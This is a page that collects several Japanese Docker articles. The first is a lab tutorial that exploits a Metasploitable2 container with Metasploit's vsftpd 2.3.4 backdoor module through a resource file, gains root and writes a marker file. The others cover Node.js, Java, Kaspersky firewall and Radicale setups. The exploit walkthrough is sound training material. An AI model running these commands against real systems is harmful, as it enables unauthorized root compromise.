20190203のdockerに関する記事は6件です。

MetasploitをDockerとKubernetesで動かしてみた

本記事について

この記事は,DockerやKubernetesさえ導入されていれば,他には面倒な設定無しで,簡単にペネトレーションテスト環境を構築できることを目的としています.

【本記事に掲載されている内容を,自身で管理していないサーバやネットワークに対して実施した場合は不正アクセス禁止法に抵触する可能性がありますのでご注意ください】

本記事で使用した環境

$ cat /etc/lsb-release 
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.5 LTS"
$ docker --version
Docker version 18.09.0, build 4d60db4
$ minikube version
minikube version: v0.29.0

必要なもの

今回使う予定のものは,全てGitHubDocker Hubに置いてあります.GitHubにはMetasploitイメージのDockerfileなども置いてありますので,是非使いやすいように改造してみて下さい.
それでは早速,下のコマンドを順に実行して必要なものを取ってきましょう.

$ git clone https://github.com/SauravBrahma/MetasploitImage.git
$ docker pull sauravbrahma/metasploit_image
$ docker pull tleemcjr/metasploitable2

ここまでで,今回必要なものを取ってくることが出来ましたので,実際に動かしてみましょう.

Dockerで環境構築

$ docker run --rm -it tleemcjr/metasploitable2:latest sh -c "/bin/services.sh && bash"
 * Starting web server apache2                  [ OK ]
 * Starting deferred execution scheduler atd    [ OK ] 
 * Starting periodic command scheduler crond    [ OK ] 
              ・
              ・
              ・
 * Starting internet superserver xinetd         [ OK ] 
 * Doing Wacom setup...                         [ OK ] 
 * Running local boot scripts (/etc/rc.local)   [ OK ] 
root@c3803e096580:/# 
# 後で攻撃対象を指定する時にIPアドレスが必要になるので記録しておく.
root@c3803e096580:/# ifconfig | grep 172
          inet addr:172.17.0.5  Bcast:172.17.255.255  Mask:255.255.0.0

# 動かしたままコンテナを抜けるために,Ctrl-p,Ctrl-qを入力した後,次のコマンドでコンテナが動いているか確認.
$ docker ps | grep tleemcjr/metasploitable2
c3803e096580        tleemcjr/metasploitable2:latest   "sh -c '/bin/service…"   8 minutes ago       Up 8 minutes                            vigorous_kalam

$ docker run --rm -it sauravbrahma/metasploit_image:latest bash
 * Starting PostgreSQL 9.3 database server      [ OK ]
msf_user@ef8a1f8f6923:/opt/metasploit-framework$

以上で,Dockerを使った環境構築が出来ました.また,今回は余計なコンテナが残らないよう,実行時に--rmオプションをつけています.

Dockerでペネトレーションテストをしてみる

ここでは実際にDockerを使ってペネトレーションテストを行ってみましょう.攻撃用コンテナに現在ログインしているので,msfconsoleコマンドを入力すればMetasploitのコンソールが立ち上がります.

msf_user@c9521edd20f4:/opt/metasploit-framework$ msfconsole 

 ** Welcome to Metasploit Framework Initial Setup **
    Please answer a few questions to get started.



 ** Metasploit Framework Initial Setup Complete **


      .:okOOOkdc'           'cdkOOOko:.
    .xOOOOOOOOOOOOc       cOOOOOOOOOOOOx.
   :OOOOOOOOOOOOOOOk,   ,kOOOOOOOOOOOOOOO:
  'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO'
  oOOOOOOOO.    .oOOOOoOOOOl.    ,OOOOOOOOo
  dOOOOOOOO.      .cOOOOOc.      ,OOOOOOOOx
  lOOOOOOOO.         ;d;         ,OOOOOOOOl
  .OOOOOOOO.   .;           ;    ,OOOOOOOO.
   cOOOOOOO.   .OOc.     'oOO.   ,OOOOOOOc
    oOOOOOO.   .OOOO.   :OOOO.   ,OOOOOOo
     lOOOOO.   .OOOO.   :OOOO.   ,OOOOOl
      ;OOOO'   .OOOO.   :OOOO.   ;OOOO;
       .dOOo   .OOOOocccxOOOO.   xOOd.
         ,kOl  .OOOOOOOOOOOOO. .dOk,
           :kk;.OOOOOOOOOOOOO.cOk:
             ;kOOOOOOOOOOOOOOOk:
               ,xOOOOOOOOOOOx,
                 .lOOOOOOOl.
                    ,dOd,
                      .

       =[ metasploit v4.17.35-dev-                        ]
+ -- --=[ 1845 exploits - 1044 auxiliary - 320 post       ]
+ -- --=[ 541 payloads - 44 encoders - 10 nops            ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > 

今回は,以下の順に進めていきたいと思います.

  1. Metasploitableに対してNmapをかけた結果をデータベースに格納
  2. 使うモジュールを決めて攻撃を行う
  3. Metasploitableに攻撃が成功した証拠としてYou've been hackedという内容のテキストファイルを残す
  4. Metasploitable側にテキストファイルが残っているか確認

では攻撃していきましょう!

Metasploitableに対してNmapをかけた結果をデータベースに格納

まずは,Metasploitがデータベースに接続されているか確認しましょう.

msf > db_status
[*] postgresql connected to msf_database
msf > 

今回使用しているDockerイメージは最初からデータベースに接続されているので,上記のような出力になるはずです.
では,MetasploitableにNmapをかけてその結果をデータベースに格納してみましょう.

msf > db_nmap -A 172.17.0.2
[*] Nmap: Starting Nmap 7.01 ( https://nmap.org ) at 2019-01-25 08:56 UTC
[*] Nmap: Nmap scan report for 172.17.0.2
[*] Nmap: Host is up (0.00054s latency).
[*] Nmap: Not shown: 980 closed ports
[*] Nmap: PORT     STATE SERVICE     VERSION
[*] Nmap: 21/tcp   open  ftp         vsftpd 2.3.4
[*] Nmap: |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
[*] Nmap: 22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: |   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
[*] Nmap: |_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
[*] Nmap: 23/tcp   open  telnet      Linux telnetd
[*] Nmap: 25/tcp   open  smtp        Postfix smtpd
[*] Nmap: |_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
[*] Nmap: | ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
[*] Nmap: | Not valid before: 2010-03-17T14:07:45
[*] Nmap: |_Not valid after:  2010-04-16T14:07:45
[*] Nmap: |_ssl-date: 2019-01-25T08:58:24+00:00; 0s from scanner time.
[*] Nmap: 111/tcp  open  rpcbind     2 (RPC #100000)
[*] Nmap: | rpcinfo:
[*] Nmap: |   program version   port/proto  service
[*] Nmap: |   100000  2            111/tcp  rpcbind
[*] Nmap: |   100003  2,3,4       2049/tcp  nfs
[*] Nmap: |   100003  2,3,4       2049/udp  nfs
[*] Nmap: |   100005  1,2,3      50419/tcp  mountd
[*] Nmap: |   100005  1,2,3      58275/udp  mountd
[*] Nmap: |   100021  1,3,4      33414/tcp  nlockmgr
[*] Nmap: |   100021  1,3,4      58022/udp  nlockmgr
[*] Nmap: |   100024  1          42939/tcp  status
[*] Nmap: |_  100024  1          49024/udp  status
[*] Nmap: 139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
[*] Nmap: 445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
[*] Nmap: 512/tcp  open  exec        netkit-rsh rexecd
[*] Nmap: 513/tcp  open  login
[*] Nmap: 514/tcp  open  tcpwrapped
[*] Nmap: 1099/tcp open  java-rmi    Java RMI Registry
[*] Nmap: 1524/tcp open  ingreslock?
[*] Nmap: 2121/tcp open  ftp         ProFTPD 1.3.1
[*] Nmap: 3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
[*] Nmap: | mysql-info:
[*] Nmap: |   Protocol: 53
[*] Nmap: |   Version: .0.51a-3ubuntu5
[*] Nmap: |   Thread ID: 9
[*] Nmap: |   Capabilities flags: 43564
[*] Nmap: |   Some Capabilities: Support41Auth, Speaks41ProtocolNew, ConnectWithDatabase, SwitchToSSLAfterHandshake, SupportsCompression, SupportsTransactions, LongColumnFlag
[*] Nmap: |   Status: Autocommit
[*] Nmap: |_  Salt: g>=Vy7.~VoOz<W#H!ju
[*] Nmap: 5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
[*] Nmap: 5900/tcp open  vnc         VNC (protocol 3.3)
[*] Nmap: | vnc-info:
[*] Nmap: |   Protocol version: 3.3
[*] Nmap: |   Security types:
[*] Nmap: |_    Unknown security type (33554432)
[*] Nmap: 6000/tcp open  X11         (access denied)
[*] Nmap: 6667/tcp open  irc         Unreal ircd
[*] Nmap: | irc-info:
[*] Nmap: |   users: 1
[*] Nmap: |   servers: 1
[*] Nmap: |   lusers: 1
[*] Nmap: |   lservers: 0
[*] Nmap: |   server: irc.Metasploitable.LAN
[*] Nmap: |   version: Unreal3.2.8.1. irc.Metasploitable.LAN
[*] Nmap: |   uptime: 0 days, 0:32:56
[*] Nmap: |   source ident: nmap
[*] Nmap: |   source host: 36620686.BF756E4.69365C88.IP
[*] Nmap: |_  error: Closing Link: pepuwvzow[172.17.0.3] (Quit: pepuwvzow)
[*] Nmap: 8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
[*] Nmap: |_ajp-methods: Failed to get a valid response for the OPTION request
[*] Nmap: 8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
[*] Nmap: |_http-favicon: Apache Tomcat
[*] Nmap: |_http-server-header: Apache-Coyote/1.1
[*] Nmap: |_http-title: Apache Tomcat/5.5
[*] Nmap: 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
[*] Nmap: SF-Port1524-TCP:V=7.01%I=7%D=1/25%Time=5C4ACF30%P=x86_64-pc-linux-gnu%r(NU
              ・
              ・
              ・
[*] Nmap: Host script results:
[*] Nmap: |_nbstat: NetBIOS name: 14586EEA2FB4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
[*] Nmap: | smb-os-discovery:
[*] Nmap: |   OS: Unix (Samba 3.0.20-Debian)
[*] Nmap: |   NetBIOS computer name:
[*] Nmap: |   Workgroup: WORKGROUP
[*] Nmap: |_  System time: 2019-01-25T03:58:24-05:00
[*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 137.18 seconds
msf > 

-Aオプションを使用しているので,なかなかに時間がかかりますが,気長に待ってあげて下さい.
これで対象の空いているポートや,そこで動いている可能性の高いサービスやOSなど色々な情報を知ることが出来ました.ちなみにこれらは当然現在ログインしているコンテナのデータベースに保存されているので,SQLからクエリを送ることでも情報を見ることが出来ます.

msf > exit
msf_user@c9521edd20f4:/opt/metasploit-framework$ psql -U msf_user msf_database
psql (9.3.17)
Type "help" for help.

msf_database=# SELECT * FROM services;
 id | host_id |         created_at         | port | proto | state |    name     |         updated_at         |                    info                    
----+---------+----------------------------+------+-------+-------+-------------+----------------------------+--------------------------------------------
  1 |       1 | 2019-01-25 08:58:27.315887 |   21 | tcp   | open  | ftp         | 2019-01-25 08:58:27.315887 | vsftpd 2.3.4
  2 |       1 | 2019-01-25 08:58:27.777045 |   22 | tcp   | open  | ssh         | 2019-01-25 08:58:27.777045 | OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0
  3 |       1 | 2019-01-25 08:58:27.815226 |   23 | tcp   | open  | telnet      | 2019-01-25 08:58:27.815226 | Linux telnetd
  4 |       1 | 2019-01-25 08:58:27.848245 |   25 | tcp   | open  | smtp        | 2019-01-25 08:58:27.848245 | Postfix smtpd
  5 |       1 | 2019-01-25 08:58:27.913605 |  111 | tcp   | open  | rpcbind     | 2019-01-25 08:58:27.913605 | 2 RPC #100000
  6 |       1 | 2019-01-25 08:58:27.956202 |  139 | tcp   | open  | netbios-ssn | 2019-01-25 08:58:27.956202 | Samba smbd 3.X workgroup: WORKGROUP
  7 |       1 | 2019-01-25 08:58:27.989778 |  445 | tcp   | open  | netbios-ssn | 2019-01-25 08:58:27.989778 | Samba smbd 3.X workgroup: WORKGROUP
  8 |       1 | 2019-01-25 08:58:28.026979 |  512 | tcp   | open  | exec        | 2019-01-25 08:58:28.026979 | netkit-rsh rexecd
  9 |       1 | 2019-01-25 08:58:28.059262 |  513 | tcp   | open  | login       | 2019-01-25 08:58:28.059262 | 
 10 |       1 | 2019-01-25 08:58:28.096009 |  514 | tcp   | open  | tcpwrapped  | 2019-01-25 08:58:28.096009 | 
 11 |       1 | 2019-01-25 08:58:28.135852 | 1099 | tcp   | open  | java-rmi    | 2019-01-25 08:58:28.135852 | Java RMI Registry
 12 |       1 | 2019-01-25 08:58:28.182279 | 1524 | tcp   | open  | ingreslock  | 2019-01-25 08:58:28.182279 | 
 13 |       1 | 2019-01-25 08:58:28.239117 | 2121 | tcp   | open  | ftp         | 2019-01-25 08:58:28.239117 | ProFTPD 1.3.1
 14 |       1 | 2019-01-25 08:58:28.270095 | 3306 | tcp   | open  | mysql       | 2019-01-25 08:58:28.270095 | MySQL 5.0.51a-3ubuntu5
 15 |       1 | 2019-01-25 08:58:28.302865 | 5432 | tcp   | open  | postgresql  | 2019-01-25 08:58:28.302865 | PostgreSQL DB 8.3.0 - 8.3.7
 16 |       1 | 2019-01-25 08:58:28.328482 | 5900 | tcp   | open  | vnc         | 2019-01-25 08:58:28.328482 | VNC protocol 3.3
 17 |       1 | 2019-01-25 08:58:28.372125 | 6000 | tcp   | open  | x11         | 2019-01-25 08:58:28.372125 | access denied
 18 |       1 | 2019-01-25 08:58:28.399048 | 6667 | tcp   | open  | irc         | 2019-01-25 08:58:28.399048 | Unreal ircd
 19 |       1 | 2019-01-25 08:58:28.435059 | 8009 | tcp   | open  | ajp13       | 2019-01-25 08:58:28.435059 | Apache Jserv Protocol v1.3
 20 |       1 | 2019-01-25 08:58:28.479801 | 8180 | tcp   | open  | http        | 2019-01-25 08:58:28.479801 | Apache Tomcat/Coyote JSP engine 1.1
(20 rows)

msf_database=# \q
msf_user@c9521edd20f4:/opt/metasploit-framework$ 

こうしてデータベースにNmapをかけた結果を格納しておくことで,自動化する際にインポートしたり,結果をエクスポートしたりすることが出来ます.また,データベースに複数のエントリが存在している時,hostsコマンドなどを使用することで,条件に合う攻撃対象を選定することも出来ます.

使うモジュールを決めて攻撃を行う

今はDEPRECATEDになってしまいましたが,Metasploitにはdb_autopwnという自動攻撃用のプラグインが存在しています.db_autopwnはデータベースから攻撃対象について得た情報で自動攻撃をしてくれる優れものです.今回使用しているDockerイメージでもdb_autopwnを使えるよう設定してあります(load db_autopwndb_autopwn <option>の二つのコマンドを実行することで使えます)が,当てはまる脆弱性が多すぎるため,今回は使わず"6つの攻撃自動化手法"から違う方法を選びます.この中にコンソールを自動化出来るリソースファイルについての記述がありますね.これは何度も行うようなタスクをリソースファイルに書いておくことでタスクを自動化してくれるもののようです.さらに~/.msf4/以下にリソースファイルを置いておくと,コンソールを呼び出す度にその中身を実行してくれるようです.
今回は特に何度も攻撃を行うわけではありませんが,後述するKubernetesで使うことも出来そうなので,リソースファイルを使って攻撃してみたいと思います.また,Nmapの結果から,21番ポートでftpのサービスが動いていることが分かったので,今回はftpに関する有名なモジュールを使用します.

easy_pentes.rc
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST 172.17.0.2
exploit -z
sessions -i 1 -c "id"
sessions -i 1 -c "pwd"
sessions -i 1 -c "echo \"You've been hacked\" > /hacked.txt"
exit -y

リソースファイルに書くのはこれだけです.使うモジュールと攻撃対象のIPと実行命令だけです.ちなみにsessionsコマンドの部分は,-iオプションでどのセッションに対して,-cオプションで実行したい命令を,指定することが出来ます.
早速このリソースファイルをMetasploitから実行してみましょう.

msf_user@c9521edd20f4:/opt/metasploit-framework$ msfconsole -q -r easy_pentes.rc 

[*] Processing easy_pentes.rc for ERB directives.
resource (easy_pentes.rc)> use exploit/unix/ftp/vsftpd_234_backdoor
resource (easy_pentes.rc)> set RHOST 172.17.0.2
RHOST => 172.17.0.2
resource (easy_pentes.rc)> exploit -z
[*] 172.17.0.2:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 172.17.0.2:21 - USER: 331 Please specify the password.
[+] 172.17.0.2:21 - Backdoor service has been spawned, handling...
[+] 172.17.0.2:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Session 1 created in the background.
resource (easy_pentes.rc)> sessions -i 1 -c "id"
[*] Running 'id' on shell session 1 (172.17.0.2)
uid=0(root) gid=0(root)

resource (easy_pentes.rc)> sessions -i 1 -c "pwd"
[*] Running 'pwd' on shell session 1 (172.17.0.2)
/

resource (easy_pentes.rc)> sessions -i 1 -c "echo \"You've been hacked\" > /hacked.txt"
[*] Running 'echo "You've been hacked" > /hacked.txt' on shell session 1 (172.17.0.2)

resource (easy_pentes.rc)> exit -y
msf_user@c9521edd20f4:/opt/metasploit-framework$ 

無事に攻撃出来たようです.この攻撃によってroot権限を奪取出来ていることが確認できます.また,攻撃が成功した時点でいるディレクトリはトップの/のようです.msfconsoleコマンドに-rオプションをつけることでリソースファイルの読み込みを,-qオプションをつけることでバナーを消すことも出来ます.

Metasploitable側にテキストファイルが残っているか確認

では攻撃に成功したことをMetasploitable側から確認してみましょう.Metasploitable側にログインして下さい.先ほど確認したところ,hacked.txtを書き込んだディレクトリは/であるはずなので,特にディレクトリの移動などはしなくて良いはずです.

root@ee769a0fc9f6:/# ls
bin  boot  cdrom  core  dev  etc  hacked.txt  home  initrd  initrd.img  lib  lost+found  media  mnt  nohup.out  opt  proc  root  sbin  srv  sys  tmp  usr  var  vmlinuz
root@ee769a0fc9f6:/# cat hacked.txt 
You've been hacked
root@ee769a0fc9f6:/# 

Metasploitable側からも侵害されたことを確認できました.
Dockerを用いたペネトレーションテストは以上になります.

Kubernetesでたくさん作ってみる

$ kubectl apply -f yaml/metasploit.yaml 
replicaset.apps/metasploit-rc created
$ kubectl apply -f yaml/metasploitable.yaml 
replicaset.apps/metasploitable2-rc created
$ kubectl get pods -o wide
NAME                       READY   STATUS              RESTARTS   AGE   IP           NODE
metasploit-rc-nxwd2        1/1     Running             0          17s   172.17.0.5   minikube
metasploitable2-rc-f9dzd   1/1     Running             0          11s   172.17.0.6   minikube
metasploitable2-rc-mbz95   0/1     ContainerCreating   0          11s   <none>       minikube
metasploitable2-rc-s2lwh   0/1     ContainerCreating   0          11s   <none>       minikube
$ kubectl get pods -o wide
NAME                       READY   STATUS    RESTARTS   AGE   IP           NODE
metasploit-rc-nxwd2        1/1     Running   0          23s   172.17.0.5   minikube
metasploitable2-rc-f9dzd   1/1     Running   0          17s   172.17.0.6   minikube
metasploitable2-rc-mbz95   1/1     Running   0          17s   172.17.0.8   minikube
metasploitable2-rc-s2lwh   1/1     Running   0          17s   172.17.0.7   minikube

今回は,手軽にたくさんのMetasploit PodやMetasploitable Podを作りたかったので,ReplicaSetリソースを使用しました.デフォルトでは,Metasploit Podが1つ,Metasploitable Podが3つ作られるようになっていますが,それぞれのYAMLファイルのspec.replicasフィールドを変更することで自分の好きな分だけ検証環境を作ることが出来ます.
では,上のPodの一つに入って他のPodと通信できるか確かめてみましょう.

$ kubectl exec -it metasploit-rc-nxwd2 bash
msf_user@metasploit-rc-nxwd2:/opt/metasploit-framework$ ping 172.17.0.6
PING 172.17.0.6 (172.17.0.6) 56(84) bytes of data.
64 bytes from 172.17.0.6: icmp_seq=1 ttl=64 time=0.088 ms
64 bytes from 172.17.0.6: icmp_seq=2 ttl=64 time=0.049 ms
64 bytes from 172.17.0.6: icmp_seq=3 ttl=64 time=0.039 ms
64 bytes from 172.17.0.6: icmp_seq=4 ttl=64 time=0.040 ms
^C
--- 172.17.0.6 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2999ms
rtt min/avg/max/mdev = 0.039/0.054/0.088/0.020 ms

無事に通信出来ているようですね.以上で,Kubernetesを使った環境構築が出来ました.
KubernetesでもDockerで示した内容と同じようにペネトレーションテストを行うことが出来ます.

以上になります.ここまで読んで下さりありがとうございました!
色んな状況を想定したペネトレーションテストにこの記事の内容が少しでもお役に立てば幸いです.; )

参考

Docker上でMetasploit frameworkによるペネトレーションテストをやってみた
tleemcjr/metasploitable2
Six Ways to Automate Metasploit
VSFTPD v2.3.4 Backdoor Command Execution

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Docker で Node.js 開発環境を簡単に用意する

概要

Docker を使って、ローカルを汚すことなく Node.js の開発環境を作る方法です。数行の docker-compose.yml を書いて、あとは随時コンテナを起動してコマンドを実行するだけです。

環境

  • macOS Mojave v10.14.2
  • Docker Desktop Community v2.0.0.2

手順

  1. Docker Desktop をインストールします。
  2. 開発用ディレクトリ(Git リポジトリ等)を用意します。
  3. docker-compose.yml を書きます。

手順 1、2 については特に説明は不要だと思うので省略します。

docker-compose.yml を書く

以下を書きます。

docker-compose.yml
version: '3'
services:
  app:
    image: node:11.8.0
    ports:
      - $PORT:$PORT
    volumes:
      - ./:/src
    working_dir: /src
.env
PORT=8080
  • app — サービス名。好きな名前を付けます。
  • image — Docker の公式イメージを使います。バージョンは開発する目的に合わせて指定してください。
  • ports — Express を使って Web サーバを立てる場合など、ホスト・ゲスト間で通信が必要な場合はポートを指定します。今回は環境変数で指定できるようにしました。
  • volumes — ホスト側のディレクトリをゲストにマウントします。
  • working_dir — コンテナ起動後のカレントディレクトリを指定します。npm install を実行する package.json があるディレクトリを指定するとよいでしょう。

以上で準備完了です!

必要な場合はビルドを

パッケージマネージャに Yarn を使用するなど、Node.js のイメージに何かをインストールする必要がある場合は、Dockerfile を書いてビルドしておきます。

実行

あとは docker-compose run --rm <サービス名> <コマンド> で Node.js を使った何かを随時実行するだけです(以下、サービス名を app とします)。--rm オプションは、コマンド終了後にコンテナを自動的に削除してくれます。

npm で任意のライブラリをインストールする

docker-compose run --rm app npm install <パッケージ名>

package.json の依存ライブラリをインストールする

開発環境を他の人に提供するときなど。

docker-compose run --rm app npm install

package.json で定義したスクリプトを実行する

Express で Web サーバを起動するなど、package.json で定義したスクリプトを実行する場合。

package.json
{
  "scripts": {
    "start": "node --experimental-modules index.mjs"
  }
}

docker-compose.yml の ports で指定したポートを通すには --service-ports オプションを付けます。

docker-compose run --rm --service-ports app npm start

よく使うコマンドはシェルスクリプトで

毎回 docker-compose run --rm app ... と打つのは面倒なので、よく使うコマンドはシェルスクリプトにしておくとよいです。

例えば、開発環境を構築するためのコマンドを一つのシェルスクリプトに書いておくことで、他の人が開発環境を簡単に準備できるようになります。

prepare.sh
#!/bin/bash

echo 'PORT=8080' >> .env && \
docker-compose run --rm app npm install

まとめ

  • docker-compose.yml で Node.js のイメージとボリューム、ワーキングディレクトリ等を定義します。
  • docker-compose run --rm <サービス名> <コマンド> で随時コンテナ作成、コマンド実行、コンテナ削除を行います。

それでは、快適な Docker ライフを!

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

シンプルなJavaアプリを実行するdockerイメージを作成

やること

Dockerについて理解するために、非常に簡易なアプリケーションのdockerイメージを作って動かしてみる。

具体的には、"Hello world!" を1秒に1回出すようなアプリケーションを動作させる。
ビルド〜実行まですべてコンテナ上で行うことを目指す。

Javaのソースコードは以下のよう。

https://github.com/nannany/very-simple-application

環境

Windows10 HOME 上で実行した。

Windows上にDockerの動作環境を作成するにあたっては、Docker Toolboxを使用した。

詳細は以下の記事参照。

https://qiita.com/idani/items/fb7681d79eeb48c05144

dockerイメージを作る流れ

Dockerfileを書く→docker buildコマンドを実行
でdockerイメージは作成される。

dockerイメージ作成のざっくりとした流れは以下の図のような感じ。

意識すべき登場人物としては、

  • 自身のローカル端末
  • ビルドコンテキスト
  • dockerイメージ

dockerビルドコマンド実行時に、どのパス配下のファイルをビルドコンテキストに追加するかを決める。
このとき、ビルドコンテキストに持っていきたくないファイルは.dockerignoreファイルに記述する。

また、Dockerfile内のCOPY命令で、ビルドコンテキスト内の何をイメージに持っていくか決める。

ビルドコンテキスト.jpg

使用するDockerfile

全体としては以下のよう。

FROM ubuntu:disco

COPY . .
RUN apt-get update && apt-get install -y \
    maven \
    openjdk-8-jre \
 && cd simple \
 && mvn package
CMD ["java","-jar","simple/target/simple-1.0-SNAPSHOT.jar"]

まずはベースイメージを選ぶために、FROMを記述する。

ここでは、適当にubuntu:discoを選択する。

次に、ビルドコンテキストからイメージにファイルをコピーするために、COPY . .と記述する。

その次に、ソースのビルド、Javaの実行に必要なパッケージ(mavenとopenjdk)をインストールし、mavenのjar作成コマンドを実行する。

RUN apt-get update && apt-get install -y \
    maven \
    openjdk-8-jre \
 && cd simple \
 && mvn package

書き方は下記をまねて、レイヤの数の最小化、apt-get updateとinstallを同時にやることを意識した。
http://docs.docker.jp/engine/articles/dockerfile_best-practice.html

最後に、コンテナが起動した後にjava -jar simple/target/simple-1.0-SNAPSHOT.jarが実行されるように、以下のように記述した。

CMD ["java","-jar","simple/target/simple-1.0-SNAPSHOT.jar"]

ビルド時に実行するdockerコマンド

イメージを作成する際に実行するdockerコマンドは、

docker build -t simple-application -f Dockerfile.cmd .

-t simple-application にて、イメージの名称をsimple-applicationにしている。

-f Dockerfile.cmd にて、イメージの作成に際して使用するDockerfileを、上記のコマンドを実行しているパスにあるDockerfile.cmdとしている。(デフォルトは、コマンドを実行しているパスにあるDockerfileが選択される)

最後の.は、コマンドを実行しているパス配下がビルドコンテキストに追加されますよ、ということを意味している。

動かす

上記で作成したイメージを、以下のコマンドで動作させてみる。

docker run simple-application-cmd

以下のように表示され、うまくいった。

hello.gif

maven入りのイメージ

上ではubuntu:discoをベースイメージに指定して、RUNでmavenとJavaをイメージにインストールした。

しかし、もともとmavenとJavaが入っているベースイメージが存在しているので、それを使用したDockerfileが以下。(なぜかテストでエラったのでそこはとばした)

FROM maven:3-jdk-8

COPY . .
RUN cd simple && mvn package -Dmaven.test.skip=true
CMD ["java","-jar","simple/target/simple-1.0-SNAPSHOT.jar"]
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

docker for Windowsでfirewall絡みのエラーが出た時の対処

概要

docker for WindowsでWindowsのディレクトリをコンテナ内のディレクトリとしてマウントしようとすると、以下のようなエラーが発生したので、その対処をまとめます。

A firewall is blocking file Sharing between Windows and the containers. 

エラー

原因

インストールしていたセキュリティソフトKasperskyでWindows⇔コンテナ間の通信が許可されていなかった。

対処

KasperskyでWindows⇔コンテナ間の通信を許可します。

左下の歯車ボタンをクリックして設定画面を開く。
2019-02-03 (2).png

「プロテクション」>「ファイアウォール」を選択する。
2019-02-03 (3).png

「パケットルールの設定」を選択する。
2019-02-03 (4).png

以下のようなパケットルールを追加する。
デフォルトであればWindows⇔コンテナ間の通信は以下のような内容です。
2019-02-03 (6).png

これでマウントできると思います。

感想

Windowsで開発環境構築するの大変だなあ。

参考

Windows10 で、Dockerで環境作る際の ESETのファイアーウォール設定

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

DockerでRadicaleなうに使っていいよ。

Radicaleとは何か?

それは、A Free and Open-Source CalDAV and CardDAV Serverです。
https://radicale.org

つまり、スマホやタブレットに登録しているカレンダーやリマインダー、そして連絡先などの情報を自分のサーバーに保管して管理できるということです。

まだ、GoogleやAppleに大事な個人情報を預けてるの?

自宅でDockerを実運用し始めている人にとっては、個人情報のセルフ管理は必ず検討する事のひとつでしょう。

その一例をRadicaleで示したいと思います。

以下、簡単なイメージの説明です。

docker pull takeyamajp/radicale

https://hub.docker.com/r/takeyamajp/radicale

This container is really easy to use and works out-of-the-box.

docker run -d -e SSL=false -p 5232:80 -v ~/.var/lib/radicale/collections:/radicale takeyamajp/radicale

When your server is launched, you can check that everything's OK by going to http://localhost:5232/ with your browser!

If you want to use this container with the SSL connection, you have to run it behind a reverse proxy server including a valid SSL certificate.

FROM centos:centos7

...

ENV TIMEZONE Asia/Tokyo

ENV SSL true

ENV LOG true  
ENV LOG_LEVEL INFO

ENV USER user  
ENV PASSWORD password

VOLUME /radicale

EXPOSE 80  
EXPOSE 443

このイメージについて

CentOS 7 の公式イメージをベースに作成しています。
https://hub.docker.com/_/centos

変数の値はコンテナを再作成しなくても変更できます。
例えば、コンテナをstopしてログ出力レベルやパスワードを変更してから再startする事で新しい値が反映されます。

アクセスログ

アクセスログはDocker logsに出力されます。

アクセスログの出力レベルを変更したい場合はLOG_LEVELの値を変更してください。
DEBUGが最も細かく沢山の情報が出力されます。
それに対してCRITICALは最も緊急性が高い少量の情報だけが出力されます。

  • CRITICAL
  • ERROR
  • WARNING
  • INFO
  • DEBUG

あと、あまりお勧めしませんが、LOGの値をfalsetrue以外の値)に変更すると、ログ出力をストップする事ができます。

タイムゾーン

日本で使用する場合は気にしなくて大丈夫です。

もし、海外で使用する場合はTIMEZONEの値を変更してください。
CentOSで使用可能な値をそのまま設定できます。

wikipedia : List of tz database time zones
https://en.m.wikipedia.org/wiki/List_of_tz_database_time_zones

SSL通信

動作確認など、このコンテナを単体で使用する場合は、SSL通信は利用出来ないためSSLの値をfalsetrue以外の値)に変更してhttpでアクセスしてください。

Dockerを実運用しようとしている人なら、必ず独自ドメインを保有して、SSL証明書を設定したリバースプロキシをフロントエンドに設置している事でしょう。
このコンテナは、そのリバースプロキシのバックエンドとして動作する事を想定しています。

アカウント

アカウント情報をUSERPASSWORDに設定してください。

管理画面にログインするときに、このアカウント情報が必要になります。

スマホやタブレットに登録するときにも、このアカウント情報が必要になります。

データの永続化

全てのデーターはボリューム/radicaleに保存されます。
必ず永続化してDockerホスト側に保存してください。

データーは別の環境に移動させてもユーザー名を一致させれば読み込む事ができます。

以下、簡単な使い方です。

コンテナを起動したら、まず管理画面からカレンダーやリマインダー、そして連絡先などを作成します。

SSLtrueで起動した場合は、ブラウザーからhttps://コンテナにアクセス可能なホスト名にアクセスしてください。

SSLfalseで起動した場合は、ブラウザーからhttp://コンテナにアクセス可能なホスト名にアクセスしてください。

ログインに使用するアカウントはUSERPASSWORDの値になります。

これでスマホやタブレットに登録する準備ができました。

端末にCalDavやCardDavを登録する方法は、個別に調べてください。
